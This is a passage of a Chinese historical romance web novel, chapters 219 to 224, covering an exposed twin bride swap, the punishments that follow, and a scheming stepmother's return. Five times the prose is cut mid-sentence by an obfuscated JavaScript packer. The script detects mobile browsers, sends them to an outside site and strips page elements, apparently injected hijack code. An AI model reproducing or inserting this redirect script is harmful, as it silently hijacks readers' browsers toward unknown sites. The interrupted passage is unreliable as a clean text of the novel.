看着她这副呆呆傻傻的模样,萧晏珩微不可查地蹙了蹙眉。 他的这个王妃,看上去不是很聪明的样子。 难怪会被人算计。 不过,蠢笨点,也好过自以为聪明。 他最讨厌自作聪明的人。 第219章 不会让人骑到头上 “王妃怎么了?” 萧晏珩的声音总算拉回了邢初雪的神志,她慌忙行礼,“哦,啊,没事。妾身见过殿下。” 萧晏珩温声开口,“你我已是夫妻,不必如此拘礼。” “夫妻”二字,让邢初雪面上微微升起几分不自在。 她错过了方才的仪式,还没有适应现在的身份。 似是听到了她的心声,萧晏珩缓声开口,“方才我们还尚未饮合卺酒。” 丫鬟立马上前,倒了两杯酒。 邢初雪面露担忧,“殿下,您的身子,可以饮酒吗?若是不行……” 萧晏珩拿起酒杯,淡淡道:“区区一杯酒,有何不可?” 邢初雪见此,也赶忙端起酒杯,二人手臂交缠,呼吸喷洒在对方的脖颈处,激起一阵本能的颤栗。 杯中酒一饮而尽,邢初雪的脸颊染上一抹薄红。 放下酒杯,手却被男人一把握住,“你的手怎么了?” 她已经上了药,掌心的红肿消退了许多,但细看依旧明显。 邢初雪本想说无事,但话到嘴边,她又咽了回去。 她抿了抿嘴,眼睫微垂。 “妾身与姐姐一同受李嬷嬷教导,妾身的表现不如姐姐,李嬷嬷便小惩大诫了一番。” 她本不欲告状,但经此一事,她学会一个道理。 人善被人欺,她把姿态摆得太低,未必是一件好事。 在邢家时,李嬷嬷便处处瞧不上她,并未把自己这个安王妃放在心上。 而今,李嬷嬷也跟着一道来了王府,要继续留在自己身边侍奉,若她一直如此轻慢自己,她这个王妃过得也太憋屈了。 她知道不能光靠男人,但她初来乍到,也没有立威的机会,就只能借萧晏珩的势了。 她小小告一状,也试探一番对方的态度。 “是妾身的错,殿下莫要责怪李嬷嬷。” 萧晏珩眸色染上一抹晦暗不明。 “你的确有错。” 邢初雪闻言,心里生出一股黯然。 果然,自己于他而言只是一个没见过几面的陌生人,又怎会替她撑腰呢? 邢初雪低着头,正欲说些什么,就听萧晏珩道:“你错在身为王妃,却任由一个奴婢对你打骂。她敢对你动手,你大可下令仗责,便是打**,也无人能说什么。” 邢初雪张了张嘴,“可,可她是惠嫔娘娘送来的教**嬷嬷,而且妾身本就没有学好规矩礼仪……” 萧晏珩淡淡道:“那又如何?不管是谁送来的,奴婢就是奴婢,还能越过主子去?日后,府中庶务都需交由你打理,你如此软包子,岂不是要被下人们骑到头上来?” 邢初雪感受到了他周身的怒气,一时有些紧绷。 她头一次感受到这个男人身上的强大气场。 她鼓起勇气,迎着对方的目光,“妾身不会让人骑到头上。先前妾身不曾反抗,是因妾身尚未嫁入安王府,到底名不正言不顺。” “而今,妾身的身份不同了,妾身代表的不仅仅是自己的颜面,更是王爷您的颜面。旁人若再敢对妾身不敬,妾身定会连本带利地还回去!” 她这番话说得十分坚定,眼神中亦有一股狠厉一闪而过。 萧晏珩周身的怒气慢慢压下,气场亦稍稍收敛。 还不算无可救药。 就在这时,一道翁鸣声突兀地响起,打破了二人之间紧张的气氛。 邢初雪的面色骤然僵住,方才那股狠厉的气势一泻千里,整张脸瞬间涨得通红。 她一整天,几乎没有吃东西。 先前因为遭遇换嫁之事满腔愤怒,完全忘了腹中饥饿。 而今,腹中的馋虫爬了出来,直接杀了她个措手不及。 简直丢**了! 萧晏珩轻笑出声,方才的冷冽气势如冰雪消融。 “未曾用膳?” 邢初雪讪讪点头。 “怎么伺候的?还不快给王妃准备吃食?” 丫鬟们赶紧去了。 比她的吃食先送来的,是一碗浓黑的药,丫鬟一把药端上前,邢初雪就闻到了一股浓重的苦味。 “殿下,该用药了。” 萧晏珩的眉峰立时蹙成了一个川字,“放那儿吧。” 丫鬟小心翼翼地回话,“祁先生说,务必让奴婢盯着您把药喝完。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15194460|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 萧晏珩周身气压沉了几分,“本王是主子,还是他是主子?” 丫鬟瑟瑟发抖,但还是硬着头皮回话,“祁先生说了,您若不肯喝,以后他,他就在药里加些清热去火的黄连……” 黄连乃败火良药,却奇苦无比。 这药本就够苦了,再加些黄连,定要苦上加苦。 萧晏珩似梗了一瞬,好一阵咬牙切齿,端起那碗药,仰头一口灌了下去,又“砰”地一声把药碗放了回去,丫鬟端着托盘,忙不迭告退了,以免糟了鱼池之殃。 王爷素日里脾气都很好,唯有喝药的时候,最是暴躁,谁都不敢往上撞。 萧晏珩周身的气压低沉,一双素白的手伸了过来,手里拿着一颗蜜饯。 “殿下,吃吗?很甜的。” 萧晏珩转头,就对上了邢初雪略带讨好的笑。 本不欲吃,但喉间苦味实在过于浓重,他便张嘴,就着她的手,把那颗蜜饯吃了下去。 唇舌碰到她的指尖,她飞快地缩了回去,整张脸几乎红透。 甜滋滋的滋味在喉间蔓开,萧晏珩的眉眼也慢慢舒展开。 的确很甜。 邢初雪见此,也大大舒了口气。 丫鬟们动作迅速,她很快吃上了热乎的吃食。 萧晏珩去了净房,邢初雪独自享用,酣畅极了。 别的不说,这安王府的厨子,手艺倒是十分不错。 邢初雪一开始还端着仪态,后来一不小心就吃嗨了,完全忘乎所以。 萧晏珩洗漱好,从里间出来,看到的便是她大快朵颐的模样。 “好吃吗?” 邢初雪连连点头,“好吃,太好吃了,安王府的厨子手艺真好!” 萧晏珩轻笑一声,“当赏。” 邢初雪跟着点头,点到一半,她猛地反应过来是谁在跟自己说话,原本大快朵颐的动作瞬间收敛,立马正襟危坐起来。 待看到萧晏珩出浴后的模样,邢初雪的眼睛顿时不知道该往哪儿看。 她放下了筷子,强作镇定地道:“妾身吃饱了,先,先去沐浴了。” 她一福身,也赶忙进了净房。 第220章 掉脑袋的大罪 邢初雪洗得很慢,想到接下来会发生的事,她就不禁脸红心跳。 一个丫鬟从外间入内伺候,手里还拿着一个瓷白的小瓶。 “王妃,这是王爷让奴婢给您送来的,可活血化瘀,奴婢为您上药吧。” 药膏涂在手心,便觉一阵清凉,十分舒服,连带着,邢初雪的心头也一阵熨帖。 想到方才萧晏珩喝的那一大碗又苦又臭的药,邢初雪试探性地问。 “王爷每日都要喝药吗?” 这并非什么秘密,丫鬟如实点头。 “王爷是何病症?” 丫鬟摇头,“奴婢不敢窥探王爷的病情。” “那那位祁先生是谁?” “祁先生是王爷在外寻来的大夫,专为王爷调养身子的。” 邢初雪若有所思地点头。 萧宝珠说,他从娘胎起就带了弱症,而今看来,的确不假。 不过她这么看着,萧晏珩倒不像十分病弱的样子。 邢初雪乱七八糟地想了一通,丫鬟也已经给她把衣裳穿好了。 她出了浴房,就见萧晏珩半倚在大红喜床上,满头黑发披散,身上的寝衣松松垮垮,半遮半掩,那番情形,简直活色生香。 而他的手里,正把玩着她的绣鞋。 她有一双小巧的玉足,比一般人都小,那双绣鞋落在他的掌中越发显得小巧,便似孩童般。 见此情形,邢初雪穿着丝履的双足瞬间蜷在一处,莫名有股羞耻感袭遍全身。 萧晏珩回眸,目光不经意间在她脚上扫过,眸色愈深了几分。 他懒懒开口,“王妃,该就寝了。” 任何一个女子,在成婚前都会受教导,好知悉房中之事,邢初雪自然也不例外。 原本她将之视作一桩必须完成的任务,心态十分坦然。 但现在,她早已被这男人勾了魂,还没开始,心跳就已经彻底乱了,更完全忘了嬷嬷教导的该如何侍奉,只能浑身僵硬地任由男人摆布。 “放轻松,别怕。” 男人的声音在她耳边响起,带着一股缱绻的温柔。 邢初雪呼吸更加凌乱,却鼓足勇气攀上他的脖颈,送上了她的唇。 五月的天本是最凉快舒爽的时候,今夜却分外闷热。 豆大的汗珠滚落,与她的泪混在一处,她双足绷紧,脚趾蜷缩,想躲,却无所可逃。 她的嗓子哭得有些嘶哑,呜呜咽咽的,直到后半夜才终于慢慢平息。 临睡前她只有一个念头,这男人不是天生体弱,日日喝药的吗?怎么还如此强悍? 此时的邢家,却是另一番水深火热。 陆知苒几人合力,将邢初樱绑回了邢家。 邢世杰和袁氏闻讯而来,见到形容狼狈的女儿,顿时惊得脸色大变。 袁氏又惊又怒,还有一丝慌乱,“你,你们这是做什么?缘何这般对待小女?” 她急忙解开邢初樱身上的束缚,又取出她嘴里的巾帕。 邢初樱立马扑进了她的怀里,大哭起来。 邢世杰脸上亦有怒容,只是碍于眼前之人,一个是当朝公主,另一个则对邢家有过恩情,他才没有破口大骂。 “九公主,平乐县主,不知小女究竟哪里开罪了你们,让你们如此对待?” 陆知苒一直在观察袁氏的神色和反应,她面上除了焦急和愤怒,还有一股难掩的紧张与慌乱。 看来,她果然是知情的! 这对母女,可真是胆大包天。 萧宝珠冷哼一声,“邢大人,你不妨先问问你的好女儿,她都做了些什么!” 邢初樱的哭声微顿,眸底飞快闪过一抹心虚。 邢世杰疑惑地看向邢初樱,“樱儿,你闯了什么祸?” 邢初樱一边哭着,一边暗暗将袁氏抱的更紧了。 袁氏眼神闪烁,嘴上却是帮着邢初樱说话。 “樱儿最是沉稳知进退,怎会闯祸?这其中定然有什么误会。” 陆知苒淡声开口,“邢大小姐,你既然不开口,那就不要怪我们不给你留情面了。” 邢初樱埋头在袁氏怀里,整个人狠狠瑟缩了一下。 陆知苒朝霜华示意,霜华面无表情地将事情的始末尽数道来,直听得邢世杰目瞪口呆。 这,这可是要掉脑袋的大罪啊,她怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15194461|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢的? 他连连摇头,“这,这怎么可能?樱儿怎会做出如此荒唐之事?这不可能!” 这个女儿素来沉稳懂事,不可能做得出如此荒唐之事。 邢初樱把袁氏抱得更紧,像是抓着一根救命稻草,身子也开始瑟瑟发抖。 她怕了,她知道错了,现在,只有母亲能救她了。 袁氏现在也后悔啊,早知道事情会败露,当初她无论如何也不能答应这个荒唐的决定。 当初,是邢初樱主动提出要与教**嬷嬷一起学规矩,袁氏想着她日后也要嫁人,规矩学好了总是好事,便促成了此事。 之后,两姐妹的表现就形成了鲜明的对比,袁氏对邢初雪越发不满,邢初樱也总是有意无意地在袁氏面前说,妹妹莽撞,不适合入皇室。 这种话听多了,袁氏对邢初雪的不满更甚。 “妹妹这般愚钝资质,进了安王府如何能应付得来?若我能代替她就好了,我定能替邢家挣回一个好前程。” 当时袁氏并未领会其用意,只是摇头叹息,“奈何皇上选中了她,又有什么办法呢?” 邢初樱终于不再掩饰自己的意图,“我与妹妹长得一模一样,若我代替她嫁入安王府,也无人能发现。” 袁氏听了这话,被吓了一大跳。 她立马摇头否决,“不行,这要是被发现了,可是掉脑袋的重罪!” 邢初樱却拉着袁氏,一脸殷切地开口,“但凡见过我们的人都说我们生得一模一样,除了我们身边亲近之人,谁能发现得了?” “可是雪儿她,她岂会愿意?” 邢初樱面露鄙夷,“待女儿嫁过去,生米煮成熟饭,一切就成定局了,她不愿意又能如何?此事若闹开,她自己也要被牵连,她定然不敢的。” 袁氏依旧摇头,“你父亲定然不会同意的。” 邢初樱理所当然地道:“那就不要让父亲知道便是,事成之后,父亲就算恼怒,但只要我日后能为邢家挣来荣华富贵,也定会赞同此事。” 袁氏本在犹豫,但架不住邢初樱软磨硬泡,最终还是答应了下来。 第221章 给邢家一条活路吧 她们是双生姐妹,容貌肖似,换亲进行得十分顺利,袁氏原本提着的心这才放了下去。 殊不知,她却是高兴得太早了。 事已至此,也没了后悔药可吃,她们只能抵死不认。 若承认了此事,再捅到皇上跟前,邢家上下都吃不了兜着走。 袁氏立马附和邢世杰,“对,没错,定是你们认错了!” 萧宝珠指着邢初樱问,“那请问邢大人,邢夫人,眼前这位,究竟是邢大小姐,还是邢二小姐?” “雪儿现在在安王府里,她自然是我的大女儿。” 萧宝珠问,“那两位可知,我们是从哪里把她绑来的?” 二人的脸色僵硬,一时没接话。 “我们是在安王府的喜房里找到的她,彼时她穿着大红嫁衣,好好地坐在喜床上呢!见到初雪,她还不要脸地说自己才是安王妃。她都做到了这个份儿上,难道还是我们冤枉了她不成?” 叶寒衣接话,“初雪被下了药,在她的房间里昏睡不醒,若非我们及时找到她,把她送到安王府,只怕这会儿邢大小姐已经和安王圆房了,届时木已成舟,初雪便是醒了,也无力回天。” 袁氏张了张嘴,还想再辩解,但却说不出话来。 邢世杰面皮狠狠抖动,呼吸也越发急促。 他一把拽过邢初樱的胳膊,将她拽得摔趴在地,手心瞬间摔破了皮。 “你这个逆女,谁给你的胆子,敢做下此等荒唐事!” 袁氏见此,心中闪过一阵心疼,“老爷,您消消气,樱儿定然也只是一时糊涂……” 邢世杰怒火攻心,“一时糊涂?这话说出去你信吗?” 袁氏嗫嚅着说不出话来,陆知苒却淡淡接话。 “邢夫人,此事若无人帮忙,邢大小姐怕是也没那么容易得手吧。” 袁氏的脸色微僵,眸底再次闪过心虚。 邢世杰猛地回过神来,不可置信地看向袁氏,指着她,手指不禁阵阵发抖。 “你,你……这件事,是你与这逆女合谋的?” 袁氏嗫嚅,“老爷,妾身……” 不待她把话说完,邢世杰扬手就给了她一记耳光,力气之大,直接把人打翻在地。 邢世杰气得脸色涨红,“你个蠢妇!她胡闹也就算了,你竟也跟着推波助澜!你们这是要把邢家上上下下几百口人全都害死才罢休?” 袁氏的脸被打得瞬间肿得老高,嘴角还有血渗出。 袁氏身子瑟缩,半个字都不敢辩解。 邢初樱直直地迎视邢世杰的目光,神色傲然。 “父亲,我和母亲这么做,也是为了邢家的未来着想!妹妹资质愚钝,如何能担得起王妃之位?唯有我才是最适合的安王妃人选,我入了王府,定能为邢家挣下荣华富贵!” 原本她们的计划那般完美,只可恨,却被陆知苒识破,彻底毁了! 邢初雪也该死,她若有自知之明,就该认清自己的斤两,主动提出放弃安王妃之位才是。 偏偏她与外人联手对付自己这个亲姐姐,还把邢家的命脉都送到了旁人手里! 萧宝珠都气笑了。 “我还是第一次见到如此厚脸皮,一个劲往自己脸上贴金的人,真是笑**。你比初雪强在哪儿?强在心思歹毒,心术不正?” 邢初樱脸色难看,“我琴棋书画,规矩礼仪,样样比她强!” “呸!你若当真那么厉害,当日选妃怎么不见你一鸣惊人?我父皇钦点的是初雪为安王妃,这么位置就是她的,你们母女俩合谋换亲,这就是欺君之罪!现在你们还半点悔改之意都没有,我这就入宫,去向我父皇告状去!” 萧宝珠说完转身就要走,还拉上了陆知苒和叶寒衣。 邢初樱脸上终于露出慌乱之色,袁氏更是脸色大变。 邢世杰急得一脑门冷汗,连忙朝萧宝珠躬身行礼,连连告饶。 “公主高抬贵手,且给邢家一条活路吧!” 袁氏也慌忙上前跪求,“公主,您便是看在雪儿的面子上,也请您手下留情吧!若此事被皇上知晓,雪儿也难脱罪责啊。” 萧宝珠听了这话,脸色又是一沉。 “邢夫人这是在那初雪来威胁我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15199898|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 袁氏连忙摇头,“臣妇岂敢?这件事臣妇真的知道错了,而今一切也已经拨乱反正,回归正轨,还请公主网开一面!” 邢世杰亦是连连伏低做小说好话。 萧宝珠的目光落在邢初樱的身上,“依我看,有些人只怕还是没有意识到自己的错处。” 邢世杰当即怒瞪了邢初樱一眼,“你个逆女,还愣着做什么!还不快认错!” 邢初樱即便满腹不情愿,还是缓缓低下了头,“我错了,我不该觊觎不属于自己的东西,我罪该万死!但此事与邢家无关,与父亲无关,请公主大**量,莫要将事情告知皇上。” 萧宝珠冷哼一声,“你最应该的,是向初雪道歉。” 邢初樱低声道:“下次见到妹妹,我定然向她下跪赔礼!” 萧宝珠知道,她定然并非出自真心。 她若当真有心悔改,方才就不会说出那番自以为是的话,而今的伏低做小,也不过是情势所逼罢了。 但偏偏她要顾及邢初雪,不能真的去告状了。 邢世杰站出来,主动道:“她犯下如此大错,微臣定会将她禁足,严加管教。” “就只是禁足?邢大人,你这未免太过雷声大雨点小了吧。” 邢世杰一咬牙,“微臣这就命人将她拖下去,重打三十板子!” 邢初樱的脸色大变。 袁氏更是惊呼出声,“老爷,这,这怎么能行?樱儿身娇体弱,如何受得住这三十板子!若是打出个好歹来,以后该如何是好?” 邢世杰冷声,“便是打**,也是她该受的!” 袁氏一把抱住邢初樱,将她牢牢护在怀里。 “不行!公主,樱儿真的已经知道错了,求求您饶了她吧,这一顿板子下去,她真的会死的!” 萧宝珠见到袁氏这般不遗余力地护着邢初樱,再想到她对邢初雪的态度,顿时一阵气血翻涌。 “邢夫人对邢大小姐倒是心疼,那你当初让教**嬷嬷打初雪手心的时候,怎么不见你有半点心疼?” “我,我那是为了她好……” 第222章 毁掉容貌 萧宝珠狠狠呸了声,“这样的好,不要也罢。” 袁氏跪了下来,连连磕头,“九公主,求您高抬贵手,饶了樱儿这一次吧,她与雪儿是亲姐妹,她定然也不会愿意看到自己的亲姐姐就此丧命!求求您了……” 她磕得十分用力,很快,额头上就渗出血来。 萧宝珠见此,心头一阵发堵,为了邢初雪。 幸而她没有亲眼见到这番情形,不然,她心里得有多难过? 萧宝珠深吸一口气,“不打板子也行。” 袁氏闻言心头一喜。 “多谢公主开恩,多谢公主开恩!” “别高兴得太早。死罪可免,活罪难逃!既然当初邢夫人下令给初雪打手心是为了她好,那就也给邢大小姐打手心吧,如此想来邢夫人就不会心疼了。” 叶寒衣也跟着道:“初雪的手心被打得一片红肿,这么多天下来,少说也打了几十下,邢夫人对初雪爱之深责之切,到了邢大小姐的身上,自然也要一视同仁。对吧?” 袁氏心中喜意瞬间凝滞,被堵得说不出话来。 邢初樱脸色大变,求助地看向袁氏,“娘,我不要!” 十指连心,真要打手心,那得多疼啊! 袁氏心疼极了,还想张口求情,邢世杰就冷声开口,“就给我打手心!不仅她要打,你也要打!打到你们真心悔过为止!” 袁氏的脸色僵住,原本尚未出口的求情也瞬间卡壳。 萧宝珠闻言,心中总算觉得畅快几分。 还算他拎得清。 丫鬟拿来了竹条,又长又扁的竹条,打在手心上,疼得人灵魂出窍。 邢初樱只挨了一下,就痛哭出声,她下意识地想把手往回缩,但行刑的是霜华,她的力气极大,任凭对方哭爹喊娘,那板子也又重又稳地落下,半点不带停顿。 足足打了五十下,邢初樱的手已是血肉模糊,她也疼得彻底失去了知觉。 袁氏比她好一些,但也疼得面容扭曲。 果然,板子落在自己的身上,才知道疼。 邢世杰面上半点不见心疼,“把她带下去,在院子里好生反思,断掉她以往的吃食供应,就按最普通的丫鬟份例供给。” 邢家的普通丫鬟也是能吃饱的,只是饭菜精细程度与邢初樱这个大小姐的完全没法比。 邢世杰对她寒了心,自然不欲对她客气。 “还有你,这段时间也好好反省反省,府中的中馈就交给李姨娘代为打理吧!” 袁氏原本还在为邢初樱受的责罚心疼,没想到转头火就烧到了自己身上,她顿时慌了。 “老爷,中馈岂能交给一个姨娘打理?她如何能担此重任?” 邢世杰冷笑,“她至少不敢自作主张,闯下如此弥天大祸。来人,把夫人小姐带下去!” 邢初樱被丫鬟搀扶着带了下去,她的手心火辣辣的疼,心里似烧着一团仇恨的火苗。 今日这个仇,她记下了。 她不会认输的,迟早有一日,她定要把今日所受的耻辱,原原本本地还回来! 邢世杰当着她们的面料理了母女二人,表明了自己的立场和态度,又连连在萧宝珠面前伏低做小,求她高抬贵手。 萧宝珠语气悠悠,“要我不向父皇告状也不是不行。” 邢世杰听她有松口之意,立马精神一凛,“公主还有什么条件,尽管开口,邢某只要能办到,定然义不容辞!” 萧宝珠面露嫌恶,“我不想看到她顶着一张与初雪一模一样的脸,她不配。邢大人可懂我的意思?” 这也是邢初雪的意思。 她没法对自己的亲姐姐下杀心,但也不想就此轻易揭过。 她们姐妹二人容貌太过相似,凡事有一就有二,难保邢初樱不会再利用这张脸做出什么来。 毁了她的脸,既是对她的惩戒,也是为了绝了后患。 邢世杰愣怔片刻,方反应过来她这话的意思。 这是要他毁了邢初樱的脸。 容貌是女子最重要的资本之一,毁了容貌,就相当于毁了她的未来。 萧宝珠挑眉,“怎么,邢大人舍不得?” 邢世杰咬牙,“这一切都是她咎由自取,我自然没有什么好舍不得的。此事我定会办妥!” “那我就等着邢大人的好消息了。” 终于把几人送走,邢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15199899|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世杰这才松了口气。 这时他才发现,自己后背早已经被冷汗打湿了。 他兢兢业业地在官场打拼,唯恐行差踏错半步,她们倒好,直接给自己捅了这么大一个篓子。 眼下此事虽然已经暂时压下,但邢家也落了一个大把柄在对方手里。 原本他并不打算在夺嫡之争中站队,但之后,只怕就身不由己了。 这个女儿胆大包天,不能再让她继续留在京城了,不然不知道她还会闯下什么弥天大祸来。 必须得将她远嫁出京。 更何况,她若毁了容,在京城也定找不到什么好人家,远嫁也是她最好的出路了。 邢世杰思考着此事,眉峰紧锁,久久没有松开。 离开了邢家,萧宝珠有种出了口恶气的爽快。 “真是大快人心!看她们被打得哭爹喊娘的样子,我就觉得痛快。” 叶寒衣有些遗憾,“没能亲眼看到她被毁容,到底有些不圆满。” 萧宝珠面露嫌恶,“我才不要看,我怕做噩梦。” 若非如此,她方才就让人当面行刑了。 陆知苒心中却只有一个念头,这样的祸害,只有杀了,方能永绝后患。留她一条命,到底太仁慈了。 但这是邢初雪的决定,她和叶寒衣先前那番提议也已经越界了,现在就更没理由多说什么。 回到瑶光阁,陆知苒把霜华叫到跟前,拿出一个匣子递给她,“今日你表现很不错,这是给你的赏赐。” 霜华连忙推拒,“奴婢只是尽到了自己该有的本分罢了。” 陆知苒不容置疑地把匣子塞到了她怀里。 “给你你就拿着,以后还有很多需要用到你的地方,我这也是在邀买人心。” 今日她再次体会到了身边有这么一个手脚功夫利落的丫鬟的重要性。 若没有她,她们的计划只怕没那么容易成功。 霜华郑重接过那匣子,“奴婢多谢小姐赏赐,今后奴婢定尽心竭力,为小姐效力。” 陆知苒笑着点头,让她下去休息了。 很快,陆家又要不太平了。 有霜华在,定能帮自己不少的忙。 第223章 方氏的一线生机 很多事情果然禁不起念叨,翌日,就有一个消息传回京城。 闽南遭遇海寇,百姓遭遇危险,幸而当地官员方齐心协力,率领水师一举将海寇剿灭,其中,首功当属方成才,他亲率手下出海绞杀匪寇,指挥得力,调度有方,百姓们对其感恩戴德,还送上了万民伞。 此桩捷报传到德丰帝案头,德丰帝龙颜大悦,大笔一挥,对闽南众官员都嘉奖了一番,而方成川则被连升两级,不日将调任回京。 翠芙和丹烟得知这个消息,都不禁面露担忧。 “方家这位舅老爷得了升迁,只怕夫人又要出来了。” “对呀,看在舅老爷的面子上,老爷也不会再把夫人关起来了。” 二人面上皆带上忧色,陆知苒却面色平淡。 此事本就在她的预料之中,因为前世,在同样的时间里,方成才也立下大功,调任回京。 前世,方氏并未被罚去家庙,她是陆家当之无愧的当家主母,方成才的升迁,让她的地位更加稳固。 这一世,方成才依旧立下了功劳,顺利升迁。 依照她父亲那见风使舵的秉性,就算他依旧记恨方氏,也会做一做面子情。 方氏以为自己有了一线生机,殊不知,这不过是自己为她挖好的另一个陷阱。 陆知苒唇角微勾,露出一抹意味不明的笑。 “慌什么?她就算回来了,也掀不起风浪。不必理会,做自己的事便是。” 翠芙和丹烟见此,原本的担忧立马一扫而空。 小姐既然说没事,自然就没事。 有小姐在,一切就都尽在掌握中。 陆贯轩自然早就听说了方成才升迁之事,他的心中不免有些不是滋味。 自己兢兢业业地干了这么多年,非但没有升迁,还被方家连累得贬了官。 方成才竟然撞了大运,立下大功,连升两级。 如此一来,他的官职都越过自己去了。 陆贯轩既气恼,又不免心生嫉妒。 只是,方成才一旦回京,定会过问方氏的近况,他若是要为方氏撑腰,又是一桩麻烦事。 但就这么把方氏放出来,陆贯轩心中那口气怎么都不顺。 那女人犯的若是寻常的小错也就罢了,但她犯的可是谋害子嗣的重罪! 若非如此,他定然早已经儿女成群了。 陆贯轩正在思虑此事,陆映溪就来了。 她的肚子已经有些显怀,胎相也已经坐稳,只是整个人的状态算不上好,眼底青黑,脸色也有些蜡黄。 上次,为了拿回嫁妆,她算是跟姜家人彻底撕破了脸。 姜锦年记恨她把自己的嫁妆拿了去,开始隔三差五地给她找麻烦。 陆映溪有孩子做护身符,姜锦年也不敢太过分,也没有真正伤到她,但却很膈应人。 姜星熠那个混账也时不时气她,陆映溪的日子自然过得十分不顺心。 陆贯轩一见到这个女儿,立马就猜到了她此行的目的,脸色不免淡了几分。 果然,陆映溪一开口就是请求陆贯轩把方氏放出来。 “父亲,母亲就算真的做了错事,但她被关了那么久,也已经吃到教训了,您这次就饶过她一回吧。” 陆贯轩神色冷淡,“她谋害陆家子嗣,我本该将她扫地出门,抑或是乱棍打死,但我最终只让她到家庙反思,这已是手下留情了。” 陆映溪抬手抹泪,“父亲可知,母亲在家庙过的是什么样的日子?那里的吃食没有半点荤腥不说,有时候还是馊臭的,母亲吃不饱穿不暖,还要自己洗衣裳,干杂活,受尽刁奴的欺凌,简直半点体面都没有。父亲,母亲到底为您生儿育女,您忍心让她这般被人欺凌吗?” 自陆映溪派人去家庙看过方氏,见到的就是被折磨得形销骨立,彻底变了个人的母亲。 陆贯轩的心中没有半丝波澜起伏。 男人便是如此,喜欢时爱得不行,不喜欢了,也可以做到翻脸无情,半分情面都不顾。 “这都是她该受的。” 陆映溪见他如此无情,心底不禁一阵发凉。 “父亲,二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15203395|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舅舅不日便要调任回京了,他这次立下了大功,连升两级,重振方家,指日可待。您看在二舅舅的面上,便对母亲网开一面吧!” 陆映溪果然搬出了方成才施压,陆贯轩的脸色变得更加难看。 “怎么,你要拿他来压我?他方成才便是立下再大的功劳,也是方家人,轮得到他来管我陆家的家事?” 陆映溪闻言便知,她说错话了,她万万不该搬出舅舅来。 父亲最是好面子,他便是当真忌惮舅舅,旁人也不能点破,不然他只会恼羞成怒,越发不肯答应此事。 陆映溪只能伏低做小,百般哀求。 最后她搬出了陆君成来,陆贯轩的态度这才有所松动。 陆映溪顿时看到了希望,但这台阶给得还不够,她想了想,只能道:“过段时间,姐姐与瑾王的亲事就要定下了,届时成婚,母亲若不出席,旁人会如何看待姐姐?只怕旁人会以为姐姐与母亲这个继母关系不睦,影响姐姐的名声。” 这话说到了点子上,也给了陆贯轩足够的台阶。 “这次,看在苒姐儿的面子上,便饶了她这一回。” 陆映溪闻言,终于松了口气。 “我只是同意她从家庙回来,但中馈之事,她想都不要想。” 陆映溪连连点头,“母亲现在还是戴罪之身,自然没有资格负责府中中馈。只要母亲能回来,她定然也会感念您的恩德,从今以后安分守己,再不会做任何不该做之事。” 陆贯轩闻言,勉强满意点头。 他又蹙眉看着陆映溪,“以后你没事也少回来,好好在姜家养胎,别成日里折腾些有的没的。” 陆映溪一一应下。 此事办成,她没有多待,很快离开了。 转身的瞬间,她脸上便露出了一丝冷意。 没想到,母亲还要沾了陆知苒的光才能回来。 等着瞧吧,只要母亲能从家庙回来,定能慢慢腾出手来,收拾了紫鹃那背主的贱婢,再找机会,把这笔账给陆知苒原原本本地还回去! 第224章 西洋火炮 陆知苒第一时间知道了这件事,一切都在预料中,她并不意外。 